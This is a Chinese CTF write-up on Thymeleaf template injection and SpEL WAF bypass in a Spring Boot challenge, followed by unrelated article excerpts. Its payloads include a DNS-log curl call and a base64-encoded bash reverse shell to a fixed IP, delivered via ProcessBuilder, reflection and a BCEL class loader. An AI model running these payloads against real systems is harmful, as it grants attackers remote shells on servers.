Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

就是一个低版本的Thymeleaf注入

漏洞点

public class MainController {@GetMapping({"/{language}"})public String test(@PathVariable(name = "language") String language, @RequestParam(required = false) String name, Model model) {if (name != null) {model.addAttribute("name", name);return language + "/game";}return language + "/index";}

可以看见路由和return的值我们都是可以控制的,所以这个很简单,相当于就套一个

__${}__::.x

主要是spel绕过,我们看到waf

if (Pattern.matches(".*new.*|.*untime.*", requestURI))

禁用了new和untime和也就是Runtime

怎么绕过new和Runtime方法很多,其实可以执行命令的还有ProcessBuilder

比如

__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x

怎么绕过new,这里我们这个是关键词

1.使用New就好了

然后反弹shell,需要base64编码解码

http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x

然后如果要绕Runtime

可以反射调用

"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")

或则动态加载字节码

使用BCEL或则Spring自带的字节码

__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896$e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da$c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de$zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae$8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH$a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9$e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A"))}__::.x  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/43438.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

codesys多段直线电机跨电机控制

1. 电机描述 在X轴上有多段直线电机,如下图有9个,从X1到X9. 2.codesys程序结构 程序名称:Pou_two_motors 动作名称:ACT_move 把这个程序搞到任务配置里面 通过ethercat总线命名一下这些电机,方便调用。 3.程序内容 P…

油烟监测仪:守护厨房,让蓝天白云成为常态

夏日炎炎,白天的酷暑让人们更加向往夜晚的凉爽与惬意。在这样的季节里,品尝各式烧烤、小龙虾,再搭配一杯冰镇啤酒,成为了许多市民夜晚消遣的不二选择。然而,随之而来的餐饮油烟问题也进入了高发阶段,对周边…

智能锁赛博化,凯迪仕携全球顶尖科技亮相建博会!

7月8日,作为大家居建材行业全球规模第一大展,2024中国建博会(广州)在广交会展馆正式拉开序幕。据官方数据显示,本届展会展出规模展览总规模近40万平方米,建筑装饰领域各细分题材的一线品牌几乎全部参展。 其…

构建安全稳定的应用:SpringSecurity实用指南

以下是关于构建安全稳定的应用:Spring Security 实用指南的详细介绍: 一、Spring Security 概述 Spring Security 是一个功能强大且高度可定制的安全框架,旨在为 Java 应用程序提供全面的安全解决方案。它涵盖了认证(Authenticati…

循环练习题

思路&#xff1a; 代码&#xff1a; public static void main(String[] args) {double sum0;for (int i1;i<100;i){if (i%2!0){sum1.0/i;}else {sum-1.0/i;}}System.out.println(sum);} 结果为&#xff1a;

Java 方法中的参数:灵活应用与技巧

Java 方法的参数是在方法定义中声明的变量&#xff0c;用于接收调用者传递的数据。参数可以是基本数据类型&#xff08;如整数、浮点数&#xff09;、对象引用或者特定类型&#xff08;如数组、枚举&#xff09;。方法可以根据参数的类型和数量来执行不同的逻辑&#xff0c;通过…

vscode取消未使用变量的提示(爆红)

目前项目正在使用ts&#xff08;TypeScript&#xff09;&#xff0c;可以在 tsconfig.json 文件中调整编译选项 在你的项目中找到并打开 tsconfig.json 文件&#xff0c;将noUnusedLocals和noUnusedParameters设置为false&#xff0c;关闭vscode重新打开项目即可 {"comp…

Mysql 高性能索引

引言 索引是一种用于快速查询和检索数据的数据结构&#xff0c;其本质可以看成是一种排序好的数据结构。 常见的索引类型包括B-Tree索引、哈希索引、空间数据索引&#xff08;R-Tree&#xff09;、全文索引。 索引的类型 在MySQL中&#xff0c;索引是在 存储引擎层 而不是服…

js打印出堆栈

在JavaScript中&#xff0c;直接获取并打印完整的调用堆栈&#xff08;stack trace&#xff09;并不像在一些其他语言中那样直接。不过&#xff0c;有几种方法可以实现类似的功能&#xff0c;具体取决于你的需求和运行环境&#xff08;如浏览器环境或Node.js环境&#xff09;。…

井字游戏00

题目链接 井字游戏 题目描述 注意点 1 < board.length board[i].length < 100输入一定遵循井字棋规则 解答思路 如果某一方想要获胜&#xff0c;则其需要占满某一行或某一列或对角线&#xff0c;所以只需要根据第一行和第一列判断是否填充完某一行或某一列或对角线…

EHS管理体系,重塑造企业竞争力的关键密码

在当今这个快速发展的时代&#xff0c;企业面临着前所未有的挑战与机遇。随着全球环保意识的普遍觉醒&#xff0c;以及社会各界对企业社会责任的日益关注&#xff0c;EHS&#xff08;环境&#xff0c;健康&#xff0c;安全&#xff09;管理体系成为了企业稳健前行的重要基石。它…

设计模式之Facade设计模式

Facade设计模式&#xff0c;也称为外观模式&#xff0c;是一种结构型设计模式&#xff0c;它主要用于为子系统中的一组接口提供一个统一的高层接口&#xff0c;从而使得子系统更加容易使用。以下是关于Facade设计模式的详细介绍&#xff1a; 一、定义 Facade模式为多个复杂的…

一款强大且免费开源的多连接数据库管理工具

大家好&#xff0c;今天给大家分享一款免费开源的跨平台数据库管理工具DbGate。 DbGate是一款免费开源的跨平台数据库管理工具&#xff0c;支持多种数据库&#xff0c;包括MySQL、PostgreSQL、SQL Server、MongoDB、SQLite等。它可以在Windows、Linux、Mac操作系统上运行&#…

Python文本数据可视化之“词云”图

import numpy as np # numpy数据处理库 import wordcloud # 词云库 from PIL import Image # 图像处理库&#xff0c;用于读取背景图片 import matplotlib.pyplot as plt # 图像展示库&#xff0c;以便在notebook中显示图片 from openpyxl import load_workbook #读取词频Excel…

【概念介绍】Signed Distance Function(SDF)

三维空间的表示形式可以分为显式和隐式 显式&#xff1a; 体素Voxel&#xff0c;点云Point Cloud&#xff0c;三角面片Mesh隐式&#xff1a;符号距离函数Signed Distance Funciton(SDF)&#xff0c;占用场Occupancy Field&#xff0c;神经辐射场Neural Radiance Field&#xff…

MAC在网络结构中的位置:深入解析

MAC在网络结构中的位置&#xff1a;深入解析 在网络通信的世界里&#xff0c;每一层都扮演着至关重要的角色。今天&#xff0c;我们将聚焦于一个经常被提到但可能不太被理解的概念&#xff1a;MAC&#xff08;Media Access Control&#xff0c;媒体访问控制&#xff09;。我们…

命名空间namespace--c++入门基础等

个人主页点这里~ 1.命名空间-namespace 简介 &#xff1a;在C/C中&#xff0c;变量、函数和后面要学到的类都是大量存在的&#xff0c;这些变量、函数和类的名称将都存在于全局作用域中&#xff0c;可能会导致很多冲突。使用命名空间的目的是对标识符的名称进行本地化&#xf…

echarts图表加载显示空白

数据请求了&#xff0c;图表加载显示空白 报错&#xff1a; Error: Initialize failed: invalid dom. at Object.init (echarts.js:2273:1) 方案 1. 通过this.$nexttick(()>{}) , 试过&#xff0c; 还是不行 2、把 this.lineChart2 this.$echarts.init(document.g…

EV代码签名-解决软件下载时风险警告

软件开发公司在发布软件后&#xff0c;用户尝试下载并安装软件时&#xff0c;如果被SmartScreen识别不常见或尚未建立起良好的信誉度&#xff0c;系统会发出警告&#xff0c;提示用户软件程序可能会对电脑构成风险&#xff0c;或者提示软件非正版软件&#xff0c;这有可能会造成…

【国产开源可视化引擎Meta2d.js】进度

进度 任意封闭图元&#xff0c;都有进度。例如&#xff1a;矩形、圆、svg、封闭连线、进度容器等 const pen {name: rectangle,text: 矩形,x: 100,y: 100,width: 100,height: 100,progress: 0.8,// progressColor: green,// verticalProgress: false, // 水平方向还是垂直方…